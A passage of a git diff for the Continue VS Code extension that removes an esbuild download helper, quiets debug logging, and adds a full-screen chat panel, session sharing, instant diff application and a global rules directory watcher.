(isGhAction && isArm) { -// // Download and unzip esbuild -// console.log("[info] Downloading pre-built esbuild binary"); -// rimrafSync("node_modules/@esbuild"); -// fs.mkdirSync("node_modules/@esbuild", { recursive: true }); -// execCmdSync( -// `curl -o node_modules/@esbuild/esbuild.zip https://continue-server-binaries.s3.us-west-1.amazonaws.com/${target}/esbuild.zip`, -// ); -// execCmdSync(`cd node_modules/@esbuild && unzip esbuild.zip`); -// fs.unlinkSync("node_modules/@esbuild/esbuild.zip"); -// } else { -// // Download esbuild from npm in tmp and copy over -// console.log("npm installing esbuild binary"); -// await installNodeModuleInTempDirAndCopyToCurrent( -// "esbuild@0.17.19", -// "@esbuild", -// ); -// } -// } - -async function downloadEsbuildBinary(target) { - console.log("[info] Downloading pre-built esbuild binary"); - rimrafSync("out/node_modules/@esbuild"); - fs.mkdirSync(`out/node_modules/@esbuild/${target}/bin`, { recursive: true }); - fs.mkdirSync(`out/tmp`, { recursive: true }); - const downloadUrl = { - "darwin-arm64": - "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.17.19.tgz", - "linux-arm64": - "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.17.19.tgz", - "win32-arm64": - "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.17.19.tgz", - "linux-x64": - "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.17.19.tgz", - "darwin-x64": - "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.17.19.tgz", - "win32-x64": - "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.17.19.tgz", - }[target]; - execCmdSync(`curl -L -o out/tmp/esbuild.tgz ${downloadUrl}`); - execCmdSync("cd out/tmp && tar -xvzf esbuild.tgz"); - // Copy the installed package back to the current directory - let tmpPath = "out/tmp/package/bin"; - let outPath = `out/node_modules/@esbuild/${target}/bin`; - if (target.startsWith("win")) { - tmpPath = "out/tmp/package"; - outPath = `out/node_modules/@esbuild/${target}`; - } - - await new Promise((resolve, reject) => { - ncp( - path.join(tmpPath), - path.join(outPath), - { dereference: true }, - (error) => { - if (error) { - console.error(`[error] Error copying esbuild package`, error); - reject(error); - } else { - resolve(); - } - }, - ); - }); - rimrafSync("out/tmp"); -} - async function downloadSqliteBinary(target) { console.log("[info] Downloading pre-built sqlite3 binary"); rimrafSync("../../core/node_modules/sqlite3/build"); @@ -354,7 +261,7 @@ async function downloadRipgrepBinary(target) { console.log("[info] Downloading pre-built ripgrep binary"); rimrafSync("node_modules/@vscode/ripgrep/bin"); fs.mkdirSync("node_modules/@vscode/ripgrep/bin", { recursive: true }); - 4; + const downloadUrl = { "darwin-arm64": "https://github.com/microsoft/ripgrep-prebuilt/releases/download/v13.0.0-10/ripgrep-v13.0.0-10-aarch64-apple-darwin.tar.gz", @@ -475,9 +382,7 @@ module.exports = { buildGui, copyOnnxRuntimeFromNodeModules, copyTreeSitterWasms, - copyTreeSitterTagQryFiles, copyNodeModules, - downloadEsbuildBinary, copySqliteBinary, installNodeModuleInTempDirAndCopyToCurrent, downloadSqliteBinary, diff --git a/extensions/vscode/src/VsCodeIde.ts b/extensions/vscode/src/VsCodeIde.ts index e19d091ae..ab5e82702 100644 --- a/extensions/vscode/src/VsCodeIde.ts +++ b/extensions/vscode/src/VsCodeIde.ts @@ -408,6 +408,12 @@ class VsCodeIde implements IDE { await vscode.env.openExternal(vscode.Uri.parse(url)); } + async getExternalUri(uri: string): Promise { + const vsCodeUri = vscode.Uri.parse(uri); + const externalUri = await vscode.env.asExternalUri(vsCodeUri); + return externalUri.toString(true); + } + async getOpenFiles(): Promise { return this.ideUtils.getOpenFiles().map((uri) => uri.toString()); } diff --git a/extensions/vscode/src/activation/JumpManager.ts b/extensions/vscode/src/activation/JumpManager.ts index 5290cb4f3..43c4ed8fd 100644 --- a/extensions/vscode/src/activation/JumpManager.ts +++ b/extensions/vscode/src/activation/JumpManager.ts @@ -192,13 +192,13 @@ export class JumpManager { // identical to the completion content, // then we don't have to jump. if (completionContent !== undefined) { - console.log("completionContent is not null"); + console.debug("completionContent is not null"); const editor = vscode.window.activeTextEditor; if (editor) { try { const completionLines = completionContent.split("\n"); - console.log("completionLines:", completionLines); + console.debug("completionLines:", completionLines); // Get document content at jump location spanning multiple lines. const document = editor.document; @@ -212,7 +212,7 @@ export class JumpManager { if (endLine - startLine + 1 < completionLines.length) { // Not enough lines in document, so content can't be identical. // Proceed to jump! - console.log( + console.debug( "Not enough lines in document to match completion content", ); } else { @@ -224,12 +224,12 @@ export class JumpManager { const lineText = document.lineAt(documentLine).text; if (lineText !== completionLines[i]) { contentMatches = false; - console.log(`Line ${i + 1} doesn't match`); + console.debug(`Line ${i + 1} doesn't match`); } } if (contentMatches) { - console.log( + console.debug( "Skipping jump as content is identical at jump location", ); return false; // Exit early, don't suggest jump. @@ -242,20 +242,20 @@ export class JumpManager { } } - console.log("this._jumpInProgress"); + console.debug("this._jumpInProgress"); this._jumpInProgress = true; this._oldCursorPosition = currentPosition; const editor = vscode.window.activeTextEditor; if (!editor) { - console.log("No active editor, cannot suggest jump"); + console.debug("No active editor, cannot suggest jump"); this._jumpInProgress = false; return false; } const visibleRanges = editor.visibleRanges; if (visibleRanges.length === 0) { - console.log("No visible ranges in editor, cannot suggest jump"); + console.debug("No visible ranges in editor, cannot suggest jump"); this._jumpInProgress = false; return false; } @@ -375,7 +375,7 @@ export class JumpManager { "continue.rejectJump", async () => { if (this._jumpDecorationVisible) { - console.log( + console.debug( "deleteChain from JumpManager.ts: rejectJump and decoration visible", ); NextEditProvider.getInstance().deleteChain(); @@ -447,7 +447,7 @@ export class JumpManager { "jumpManager", async (e, state) => { if (state.jumpInProgress || state.jumpJustAccepted) { - console.log( + console.debug( "JumpManager: jump in progress or just accepted, preserving chain", ); return true; diff --git a/extensions/vscode/src/activation/NextEditWindowManager.ts b/extensions/vscode/src/activation/NextEditWindowManager.ts index a19a34b3f..07b40795a 100644 --- a/extensions/vscode/src/activation/NextEditWindowManager.ts +++ b/extensions/vscode/src/activation/NextEditWindowManager.ts @@ -165,7 +165,7 @@ export class NextEditWindowManager { private constructor() { this.theme = getThemeString(); - console.log( + console.debug( "Next Edit Theme initialized:", this.theme ? `Theme exists: ${JSON.stringify(this.theme)}` @@ -269,7 +269,7 @@ export class NextEditWindowManager { // Register HIDE_TOOLTIP_COMMAND and ACCEPT_NEXT_EDIT_COMMAND with their corresponding callbacks. this.registerCommandSafely(HIDE_NEXT_EDIT_SUGGESTION_COMMAND, async () => { - console.log( + console.debug( "deleteChain from NextEditWindowManager.ts: hide next edit command", ); NextEditProvider.getInstance().deleteChain(); @@ -616,7 +616,7 @@ export class NextEditWindowManager { ) { this.theme = getThemeString(); await this.codeRenderer.setTheme(this.theme); - console.log( + console.debug( "Theme updated:", this.theme ? "Theme exists" : "Theme is undefined", ); @@ -630,7 +630,7 @@ export class NextEditWindowManager { vscode.window.onDidChangeActiveColorTheme(async () => { this.theme = getThemeString(); await this.codeRenderer.setTheme(this.theme); - console.log( + console.debug( "Active theme changed:", this.theme ? "Theme exists" : "Theme is undefined", ); @@ -792,7 +792,7 @@ export class NextEditWindowManager { // Check if line numbers are valid. if (range.start.line < 0 || range.start.line >= doc.lineCount) { - console.log( + console.debug( "Invalid start line:", range.start.line, "doc lines:", @@ -802,7 +802,7 @@ export class NextEditWindowManager { } if (range.end.line < 0 || range.end.line >= doc.lineCount) { - console.log( + console.debug( "Invalid end line:", range.end.line, "doc lines:", @@ -819,7 +819,7 @@ export class NextEditWindowManager { range.start.character < 0 || range.start.character > startLine.text.length ) { - console.log( + console.debug( "Invalid start character:", range.start.character, "line length:", @@ -829,7 +829,7 @@ export class NextEditWindowManager { } if (range.end.character < 0 || range.end.character > endLine.text.length) { - console.log( + console.debug( "Invalid end character:", range.end.character, "line length:", @@ -884,7 +884,7 @@ export class NextEditWindowManager { // Check if document changed during async operation. if (editor.document.version !== docVersion) { - console.log("Document changed during decoration creation, aborting"); + console.debug("Document changed during decoration creation, aborting"); decoration.dispose(); return; } @@ -991,7 +991,7 @@ export class NextEditWindowManager { "nextEditWindowManager", async (e, state) => { if (state.nextEditWindowAccepted) { - console.log( + console.debug( "NextEditWindowManager: Edit was just accepted, preserving chain", ); return true; diff --git a/extensions/vscode/src/activation/SelectionChangeManager.ts b/extensions/vscode/src/activation/SelectionChangeManager.ts index a80cc4439..2899c02fa 100644 --- a/extensions/vscode/src/activation/SelectionChangeManager.ts +++ b/extensions/vscode/src/activation/SelectionChangeManager.ts @@ -330,9 +330,9 @@ export class SelectionChangeManager { return false; } - console.log( - "defaultFallbackHandler: deleteChain called from onDidChangeTextEditorSelection", - ); + // console.debug( + // "defaultFallbackHandler: deleteChain called from onDidChangeTextEditorSelection", + // ); await NextEditProvider.getInstance().deleteChain(); if (!this.usingFullFileDiff) { diff --git a/extensions/vscode/src/apply/ApplyManager.ts b/extensions/vscode/src/apply/ApplyManager.ts index e79d8fe16..db0c87c1b 100644 --- a/extensions/vscode/src/apply/ApplyManager.ts +++ b/extensions/vscode/src/apply/ApplyManager.ts @@ -58,13 +58,9 @@ export class ApplyManager { // Currently `isSearchAndReplace` will always provide a full file rewrite // as the contents of `text`, so we can just instantly apply if (isSearchAndReplace) { - const diffLinesGenerator = generateLines( - myersDiff(activeTextEditor.document.getText(), text), - ); - - await this.verticalDiffManager.streamDiffLines( - diffLinesGenerator, - true, + await this.verticalDiffManager.instantApplyDiff( + originalFileContent, + text, streamId, toolCallId, ); diff --git a/extensions/vscode/src/autocomplete/GhostTextAcceptanceTracker.ts b/extensions/vscode/src/autocomplete/GhostTextAcceptanceTracker.ts index fbb4ac8ae..271e3342d 100644 --- a/extensions/vscode/src/autocomplete/GhostTextAcceptanceTracker.ts +++ b/extensions/vscode/src/autocomplete/GhostTextAcceptanceTracker.ts @@ -135,7 +135,7 @@ export class GhostTextAcceptanceTracker { ); if (wasGhostTextAccepted) { - console.log( + console.debug( "GhostTextAcceptanceTracker: ghost text was accepted, preserving chain", ); return true; diff --git a/extensions/vscode/src/autocomplete/RecentlyVisitedRangesService.ts b/extensions/vscode/src/autocomplete/RecentlyVisitedRangesService.ts index d1f5b8ef2..67bd9cd8c 100644 --- a/extensions/vscode/src/autocomplete/RecentlyVisitedRangesService.ts +++ b/extensions/vscode/src/autocomplete/RecentlyVisitedRangesService.ts @@ -4,7 +4,6 @@ import { AutocompleteSnippetType, } from "core/autocomplete/snippets/types"; import { isSecurityConcern } from "core/indexing/ignore"; -import { PosthogFeatureFlag, Telemetry } from "core/util/posthog"; import { LRUCache } from "lru-cache"; import * as vscode from "vscode"; @@ -34,19 +33,18 @@ export class RecentlyVisitedRangesService { } private async initWithPostHog() { - const recentlyVisitedRangesNumSurroundingLines = - await Telemetry.getValueForFeatureFlag( - PosthogFeatureFlag.RecentlyVisitedRangesNumSurroundingLines, - ); - - if (recentlyVisitedRangesNumSurroundingLines) { - this.isEnabled = true; - this.numSurroundingLines = recentlyVisitedRangesNumSurroundingLines; - } - - vscode.window.onDidChangeTextEditorSelection( - this.cacheCurrentSelectionContext, - ); + // TODO merge this and re-enable https://github.com/continuedev/continue/pull/8364 + // const recentlyVisitedRangesNumSurroundingLines = + // await Telemetry.getValueForFeatureFlag( + // PosthogFeatureFlag.RecentlyVisitedRangesNumSurroundingLines, + // ); + // if (recentlyVisitedRangesNumSurroundingLines) { + // this.isEnabled = true; + // this.numSurroundingLines = recentlyVisitedRangesNumSurroundingLines; + // } + // vscode.window.onDidChangeTextEditorSelection( + // this.cacheCurrentSelectionContext, + // ); } private cacheCurrentSelectionContext = async ( diff --git a/extensions/vscode/src/autocomplete/completionProvider.ts b/extensions/vscode/src/autocomplete/completionProvider.ts index 30b48220f..498f971d0 100644 --- a/extensions/vscode/src/autocomplete/completionProvider.ts +++ b/extensions/vscode/src/autocomplete/completionProvider.ts @@ -333,7 +333,7 @@ export class ContinueCompletionProvider let chainExists = this.nextEditProvider.chainExists(); const processedCount = this.prefetchQueue.processedCount; const unprocessedCount = this.prefetchQueue.unprocessedCount; - console.log("isJumping:", isJumping, "/ chainExists:", chainExists); + // console.debug("isJumping:", isJumping, "/ chainExists:", chainExists); this.prefetchQueue.peekThreeProcessed(); let resetChainInFullFileDiff = false; @@ -351,7 +351,7 @@ export class ContinueCompletionProvider if (isJumping && chainExists) { // Case 2: Jumping (chain exists, jump was taken) - console.log("trigger reason: jumping"); + // console.debug("trigger reason: jumping"); // Reset jump state. this.jumpManager.setJumpInProgress(false); @@ -380,7 +380,7 @@ export class ContinueCompletionProvider } } else if (chainExists) { // Case 3: Accepting next edit outcome (chain exists, jump is not taken). - console.log("trigger reason: accepting"); + // console.debug("trigger reason: accepting"); // Try suggesting jump for each location. let isJumpSuggested = false; @@ -428,9 +428,9 @@ export class ContinueCompletionProvider } if (!isJumpSuggested) { - console.log( - "No suitable jump location found after trying all positions", - ); + // console.debug( + // "No suitable jump location found after trying all positions", + // ); this.nextEditProvider.deleteChain(); return undefined; } @@ -642,7 +642,7 @@ export class ContinueCompletionProvider if (isFim) { if (!fimText) { - console.log("deleteChain from completionProvider.ts: !fimText"); + // console.debug("deleteChain from completionProvider.ts: !fimText"); this.nextEditProvider.deleteChain(); return undefined; } @@ -679,9 +679,9 @@ export class ContinueCompletionProvider // Only time we ever reach this point would be after the jump was taken, or if its after the very first repsonse. // In case of jump, this is impossible, as the JumpManager wouldn't have suggested a jump here in the first place. // In case of initial response, we suggested a jump. - console.log( - "deleteChain from completionProvider.ts: diffLines.length === 0", - ); + // console.debug( + // "deleteChain from completionProvider.ts: diffLines.length === 0", + // ); NextEditProvider.getInstance().deleteChain(); } @@ -718,10 +718,10 @@ export class ContinueCompletionProvider if (selectedCompletionInfo) { const { text, range } = selectedCompletionInfo; if (!outcome.completion.startsWith(text)) { - console.log( - `Won't display completion because text doesn't match: ${text}, ${outcome.completion}`, - range, - ); + // console.debug( + // `Won't display completion because text doesn't match: ${text}, ${outcome.completion}`, + // range, + // ); return false; } } diff --git a/extensions/vscode/src/autocomplete/recentlyEdited.ts b/extensions/vscode/src/autocomplete/recentlyEdited.ts index fc4eab517..25791ffa1 100644 --- a/extensions/vscode/src/autocomplete/recentlyEdited.ts +++ b/extensions/vscode/src/autocomplete/recentlyEdited.ts @@ -24,25 +24,24 @@ export class RecentlyEditedTracker { private static maxRecentlyEditedDocuments = 10; constructor(private ideUtils: VsCodeIdeUtils) { - vscode.workspace.onDidChangeTextDocument((event) => { - event.contentChanges.forEach((change) => { - const editedRange = { - uri: event.document.uri, - range: new vscode.Range( - new vscode.Position(change.range.start.line, 0), - new vscode.Position(change.range.end.line + 1, 0), - ), - timestamp: Date.now(), - }; - this.insertRange(editedRange); - }); - - this.insertDocument(event.document.uri); - }); - - setInterval(() => { - this.removeOldEntries(); - }, 1000 * 15); + // TODO merge this and re-enable https://github.com/continuedev/continue/pull/8364 + // vscode.workspace.onDidChangeTextDocument((event) => { + // event.contentChanges.forEach((change) => { + // const editedRange = { + // uri: event.document.uri, + // range: new vscode.Range( + // new vscode.Position(change.range.start.line, 0), + // new vscode.Position(change.range.end.line + 1, 0), + // ), + // timestamp: Date.now(), + // }; + // this.insertRange(editedRange); + // }); + // this.insertDocument(event.document.uri); + // }); + // setInterval(() => { + // this.removeOldEntries(); + // }, 1000 * 15); } private async insertRange( diff --git a/extensions/vscode/src/commands.ts b/extensions/vscode/src/commands.ts index aca5b0e29..c9374ea9a 100644 --- a/extensions/vscode/src/commands.ts +++ b/extensions/vscode/src/commands.ts @@ -8,16 +8,20 @@ import { EXTENSION_NAME } from "core/control-plane/env"; import { Core } from "core/core"; import { walkDirAsync } from "core/indexing/walkDir"; import { isModelInstaller } from "core/llm"; +import { NextEditLoggingService } from "core/nextEdit/NextEditLoggingService"; import { startLocalLemonade } from "core/util/lemonadeHelper"; import { startLocalOllama } from "core/util/ollamaHelper"; -import { getConfigJsonPath, getConfigYamlPath } from "core/util/paths"; +import { + getConfigJsonPath, + getConfigYamlPath, + setConfigFilePermissions, +} from "core/util/paths"; import { Telemetry } from "core/util/posthog"; import * as vscode from "vscode"; import * as YAML from "yaml"; import { convertJsonToYamlConfig } from "../../../packages/config-yaml/dist"; -import { NextEditLoggingService } from "core/nextEdit/NextEditLoggingService"; import { getAutocompleteStatusBarDescription, getAutocompleteStatusBarTitle, @@ -46,6 +50,15 @@ import { getMetaKeyLabel } from "./util/util"; import { openEditorAndRevealRange } from "./util/vscode"; import { VsCodeIde } from "./VsCodeIde"; +let fullScreenPanel: vscode.WebviewPanel | undefined; + +function getFullScreenTab() { + const tabs = vscode.window.tabGroups.all.flatMap((tabGroup) => tabGroup.tabs); + return tabs.find((tab) => + (tab.input as any)?.viewType?.endsWith("continue.continueGUIView"), + ); +} + type TelemetryCaptureParams = Parameters; /** @@ -59,15 +72,27 @@ function captureCommandTelemetry( } function focusGUI() { - // focus sidebar - vscode.commands.executeCommand("continue.continueGUIView.focus"); - // vscode.commands.executeCommand("workbench.action.focusAuxiliaryBar"); + const fullScreenTab = getFullScreenTab(); + if (fullScreenTab) { + // focus fullscreen + fullScreenPanel?.reveal(); + } else { + // focus sidebar + vscode.commands.executeCommand("continue.continueGUIView.focus"); + // vscode.commands.executeCommand("workbench.action.focusAuxiliaryBar"); + } } function hideGUI() { - // focus sidebar - vscode.commands.executeCommand("workbench.action.closeAuxiliaryBar"); - // vscode.commands.executeCommand("workbench.action.toggleAuxiliaryBar"); + const fullScreenTab = getFullScreenTab(); + if (fullScreenTab) { + // focus fullscreen + fullScreenPanel?.dispose(); + } else { + // focus sidebar + vscode.commands.executeCommand("workbench.action.closeAuxiliaryBar"); + // vscode.commands.executeCommand("workbench.action.toggleAuxiliaryBar"); + } } function waitForSidebarReady( @@ -399,6 +424,43 @@ const getCommandsMap: ( "continue.newSession": () => { sidebar.webviewProtocol?.request("newSession", undefined); }, + + "continue.shareSession": async (sessionId: string | undefined) => { + if (!sessionId) { + sessionId = await sidebar.webviewProtocol?.request( + "getCurrentSessionId", + undefined, + ); + } + if (!sessionId) { + void vscode.window.showErrorMessage( + "No session ID found. Please start a new session first.", + ); + return; + } + //let user select the destination folder + const destinationFolder = await vscode.window.showOpenDialog({ + canSelectFolders: true, + canSelectFiles: false, + canSelectMany: false, + openLabel: "Select Destination Folder", + }); + if (!destinationFolder || destinationFolder.length === 0) { + return; + } + + try { + // despite core.invoke not being async, we still need to await it, because the 'history/share' command is async + // if not awaited, then errors will not be caught. + await core.invoke("history/share", { + id: sessionId, + outputDir: destinationFolder[0].fsPath, + }); + } catch (error) { + const errorMessage = `Failed to save session: ${error instanceof Error ? error.message : String(error)}`; + void vscode.window.showErrorMessage(errorMessage); + } + }, "continue.viewHistory": () => { vscode.commands.executeCommand("continue.navigateTo", "/history", true); }, @@ -565,6 +627,11 @@ const getCommandsMap: ( label: "$(comment) Open chat", description: getMetaKeyLabel() + " + L", }, + { + label: "$(screen-full) Open full screen chat", + description: + getMetaKeyLabel() + " + K, " + getMetaKeyLabel() + " + M", + }, { label: quickPickStatusText(targetStatus), description: @@ -607,6 +674,8 @@ const getCommandsMap: ( } } else if (selectedOption === "$(comment) Open chat") { vscode.commands.executeCommand("continue.focusContinueInput"); + } else if (selectedOption === "$(screen-full) Open full screen chat") { + vscode.commands.executeCommand("continue.openInNewWindow"); } else if (selectedOption === "$(gear) Open settings") { vscode.commands.executeCommand("continue.navigateTo", "/config"); } @@ -651,6 +720,7 @@ const getCommandsMap: ( const configYamlPath = getConfigYamlPath(); fs.writeFileSync(configYamlPath, YAML.stringify(configYaml)); + setConfigFilePermissions(configYamlPath); // Open config.yaml await openEditorAndRevealRange( @@ -733,6 +803,74 @@ const getCommandsMap: ( vscode.ConfigurationTarget.Global, ); }, + "continue.openInNewWindow": async () => { + focusGUI(); + + const sessionId = await sidebar.webviewProtocol.request( + "getCurrentSessionId", + undefined, + ); + // Check if full screen is already open by checking open tabs + const fullScreenTab = getFullScreenTab(); + + if (fullScreenTab && fullScreenPanel) { + // Full screen open, but not focused - focus it + fullScreenPanel.reveal(); + return; + } + + // Clear the sidebar to prevent overwriting changes made in fullscreen + vscode.commands.executeCommand("continue.newSession"); + + // Full screen not open - open it + captureCommandTelemetry("openInNewWindow"); + + // Create the full screen panel + let panel = vscode.window.createWebviewPanel( + "continue.continueGUIView", + "Continue", + vscode.ViewColumn.One, + { + retainContextWhenHidden: true, + enableScripts: true, + }, + ); + fullScreenPanel = panel; + + // Add content to the panel + panel.webview.html = sidebar.getSidebarContent( + extensionContext, + panel, + undefined, + undefined, + true, + ); + + const sessionLoader = panel.onDidChangeViewState(() => { + vscode.commands.executeCommand("continue.newSession"); + if (sessionId) { + vscode.commands.executeCommand( + "continue.focusContinueSessionId", + sessionId, + ); + } + panel.reveal(); + sessionLoader.dispose(); + }); + + // When panel closes, reset the webview and focus + panel.onDidDispose( + () => { + sidebar.resetWebviewProtocolWebview(); + vscode.commands.executeCommand("continue.focusContinueInput"); + }, + null, + extensionContext.subscriptions, + ); + + vscode.commands.executeCommand("workbench.action.copyEditorToNewWindow"); + vscode.commands.executeCommand("workbench.action.closeAuxiliaryBar"); + }, "continue.forceNextEdit": async () => { captureCommandTelemetry("forceNextEdit"); diff --git a/extensions/vscode/src/diff/vertical/handler.ts b/extensions/vscode/src/diff/vertical/handler.ts index 3f3806a7c..4420af5ec 100644 --- a/extensions/vscode/src/diff/vertical/handler.ts +++ b/extensions/vscode/src/diff/vertical/handler.ts @@ -11,6 +11,7 @@ import { import type { ApplyState, DiffLine } from "core"; import type { VerticalDiffCodeLens } from "./manager"; +import { getFirstChangedLine } from "./util"; export interface VerticalDiffHandlerOptions { input?: string; @@ -135,12 +136,7 @@ export class VerticalDiffHandler implements vscode.Disposable { // Accept all: delete all the red ranges and clear green decorations await this.deleteRangeLines(removedRanges.map((r) => r.range)); } else { - // Reject all: Re-insert red lines, delete green ones - for (const r of removedRanges) { - await this.deleteRangeLines([r.range]); - await this.insertTextAboveLine(r.range.start.line, r.line); - } - await this.deleteRangeLines(this.addedLineDecorations.ranges); + await this.unifiedRejectAll(); } this.clearDecorations(); @@ -211,7 +207,7 @@ export class VerticalDiffHandler implements vscode.Disposable { // Scroll to the first diff const scrollToLine = - this.getFirstChangedLine(myersDiffs) ?? this.startLine; + getFirstChangedLine(myersDiffs, this.startLine) ?? this.startLine; const range = new vscode.Range(scrollToLine, 0, scrollToLine, 0); this.editor.revealRange(range, vscode.TextEditorRevealType.Default); @@ -603,15 +599,63 @@ export class VerticalDiffHandler implements vscode.Disposable { } /** - * Gets the first line number that was changed in a diff + * Rejects all diffs in a single edit operation. */ - private getFirstChangedLine(diff: DiffLine[]): number | null { - for (let i = 0; i < diff.length; i++) { - const item = diff[i]; - if (item.type === "old" || item.type === "new") { - return this.startLine + i; + private async unifiedRejectAll() { + await this.ensureCurrentFileIsFocused(); + + const removedRanges = this.removedLineDecorations.ranges; + const addedRanges = this.addedLineDecorations.ranges; + + interface LineOperation { + type: "removed" | "added"; + line?: string; // Only for removed lines + range: vscode.Range; + } + + const operations: LineOperation[] = []; + for (const r of removedRanges) { + operations.push({ + type: "removed", + line: r.line, + range: r.range, + }); + } + for (const range of addedRanges) { + operations.push({ + type: "added", + range, + }); + } + + operations.sort((a, b) => b.range.start.line - a.range.start.line); + + const document = this.editor.document; + const lines = document.getText().split("\n"); + + for (const op of operations) { + const lineNum = op.range.start.line; + + if (op.type === "removed") { + // Replace the placeholder line with the original content + lines[lineNum] = op.line!; + } else if (op.type === "added") { + // Delete the added lines + const startLine = op.range.start.line; + const endLine = op.range.end.line; + const numLinesToDelete = endLine - startLine + 1; + lines.splice(startLine, numLinesToDelete); } } - return null; + + const finalContent = lines.join("\n"); + + await this.editor.edit( + (editBuilder) => { + const fullRange = new vscode.Range(0, 0, document.lineCount, 0); + editBuilder.replace(fullRange, finalContent); + }, + { undoStopAfter: false, undoStopBefore: false }, + ); } } diff --git a/extensions/vscode/src/diff/vertical/manager.ts b/extensions/vscode/src/diff/vertical/manager.ts index cdcf30000..059efe0ae 100644 --- a/extensions/vscode/src/diff/vertical/manager.ts +++ b/extensions/vscode/src/diff/vertical/manager.ts @@ -10,12 +10,14 @@ import EditDecorationManager from "../../quickEdit/EditDecorationManager"; import { handleLLMError } from "../../util/errorHandling"; import { VsCodeWebviewProtocol } from "../../webviewProtocol"; +import { myersDiff } from "core/diff/myers"; import { ApplyAbortManager } from "core/edit/applyAbortManager"; import { EDIT_MODE_STREAM_ID } from "core/edit/constants"; import { stripImages } from "core/util/messageContent"; import { getLastNPathParts } from "core/util/uri"; import { editOutcomeTracker } from "../../extension/EditOutcomeTracker"; import { VerticalDiffHandler, VerticalDiffHandlerOptions } from "./handler"; +import { getFirstChangedLine } from "./util"; export interface VerticalDiffCodeLens { start: number; @@ -293,6 +295,65 @@ export class VerticalDiffManager { } } + async instantApplyDiff( + oldContent: string, + newContent: string, + streamId: string, + toolCallId?: string, + ) { + vscode.commands.executeCommand("setContext", "continue.diffVisible", true); + + const editor = vscode.window.activeTextEditor; + if (!editor) { + return; + } + + const fileUri = editor.document.uri.toString(); + + const myersDiffs = myersDiff(oldContent, newContent); + + const diffHandler = this.createVerticalDiffHandler( + fileUri, + 0, + editor.document.lineCount - 1, + { + instant: true, + onStatusUpdate: (status, numDiffs, fileContent) => + void this.webviewProtocol.request("updateApplyState", { + streamId, + status, + numDiffs, + fileContent, + filepath: fileUri, + toolCallId, + }), + streamId, + }, + ); + + if (!diffHandler) { + console.warn("Issue occurred while creating vertical diff handler"); + return; + } + + await diffHandler.reapplyWithMyersDiff(myersDiffs); + + const scrollToLine = getFirstChangedLine(myersDiffs, 0) ?? 0; + const range = new vscode.Range(scrollToLine, 0, scrollToLine, 0); + editor.revealRange(range, vscode.TextEditorRevealType.Default); + + this.enableDocumentChangeListener(); + + await this.webviewProtocol.request("updateApplyState", { + streamId, + status: "done", + numDiffs: this.fileUriToCodeLens.get(fileUri)?.length ?? 0, + fileContent: editor.document.getText(), + filepath: fileUri, + toolCallId, + }); + } + async streamEdit({ input, llm, diff --git a/extensions/vscode/src/diff/vertical/util.ts b/extensions/vscode/src/diff/vertical/util.ts new file mode 100644 index 000000000..83b99946c --- /dev/null +++ b/extensions/vscode/src/diff/vertical/util.ts @@ -0,0 +1,14 @@ +import { DiffLine } from "core"; + +export function getFirstChangedLine( + diff: DiffLine[], + startLine: number, +): number | null { + for (let i = 0; i < diff.length; i++) { + const item = diff[i]; + if (item.type === "old" || item.type === "new") { + return startLine + i; + } + } + return null; +} diff --git a/extensions/vscode/src/extension/VsCodeExtension.ts b/extensions/vscode/src/extension/VsCodeExtension.ts index 23ced0cc5..22f1aaad8 100644 --- a/extensions/vscode/src/extension/VsCodeExtension.ts +++ b/extensions/vscode/src/extension/VsCodeExtension.ts @@ -1,4 +1,5 @@ import fs from "fs"; +import path from "path"; import { IContextProvider } from "core"; import { ConfigHandler } from "core/config/ConfigHandler"; @@ -10,6 +11,7 @@ import { getConfigJsonPath, getConfigTsPath, getConfigYamlPath, + getContinueGlobalPath, } from "core/util/paths"; import { v4 as uuidv4 } from "uuid"; import * as vscode from "vscode"; @@ -42,13 +44,10 @@ import { VsCodeIde } from "../VsCodeIde"; import { ConfigYamlDocumentLinkProvider } from "./ConfigYamlDocumentLinkProvider"; import { VsCodeMessenger } from "./VsCodeMessenger"; -import { getAst } from "core/autocomplete/util/ast"; import { modelSupportsNextEdit } from "core/llm/autodetect"; import { NEXT_EDIT_MODELS } from "core/llm/constants"; -import { DocumentHistoryTracker } from "core/nextEdit/DocumentHistoryTracker"; import { NextEditProvider } from "core/nextEdit/NextEditProvider"; import { isNextEditTest } from "core/nextEdit/utils"; -import { localPathOrUriToPath } from "core/util/pathToUri"; import { JumpManager } from "../activation/JumpManager"; import setupNextEditWindowManager, { NextEditWindowManager, @@ -232,7 +231,9 @@ export class VsCodeExtension { timeSinceLastDocChange < this.ARBITRARY_TYPING_DELAY && !NextEditWindowManager.getInstance().hasAccepted() ) { - console.log("VsCodeExtension: typing in progress, preserving chain"); + // console.debug( + // "VsCodeExtension: typing in progress, preserving chain", + // ); return true; } @@ -463,6 +464,18 @@ export class VsCodeExtension { void this.configHandler.reloadConfig("config.ts updated - fs file watch"); }); + // watch global rules directory for changes + const globalRulesDir = path.join(getContinueGlobalPath(), "rules"); + if (fs.existsSync(globalRulesDir)) { + fs.watch(globalRulesDir, { recursive: true }, (eventType, filename) => { + if (filename && filename.endsWith(".md")) { + void this.configHandler.reloadConfig( + "Global rules directory updated - fs file watch", + ); + } + }); + } + vscode.workspace.onDidChangeTextDocument(async (event) => { if (event.contentChanges.length > 0) { selectionManager.documentChanged(); @@ -503,18 +516,33 @@ export class VsCodeExtension { }); }); - vscode.workspace.onDidOpenTextDocument(async (event) => { - console.log("onDidOpenTextDocument"); - const ast = await getAst(event.fileName, event.getText()); - if (ast) { - DocumentHistoryTracker.getInstance().addDocument( - localPathOrUriToPath(event.fileName), - event.getText(), - ast, - ); - } + vscode.workspace.onDidChangeWorkspaceFolders(async (event) => { + const dirs = vscode.workspace.workspaceFolders?.map( + (folder) => folder.uri, + ); + + this.ideUtils.setWokspaceDirectories(dirs); + + this.core.invoke("index/forceReIndex", { + dirs: [ + ...event.added.map((folder) => folder.uri.toString()), + ...event.removed.map((folder) => folder.uri.toString()), + ], + }); }); + // TODO merge this and re-enable https://github.com/continuedev/continue/pull/8364 + // vscode.workspace.onDidOpenTextDocument(async (event) => { + // const ast = await getAst(event.fileName, event.getText()); + // if (ast) { + // DocumentHistoryTracker.getInstance().addDocument( + // localPathOrUriToPath(event.fileName), + // event.getText(), + // ast, + // ); + // } + // }); + // When 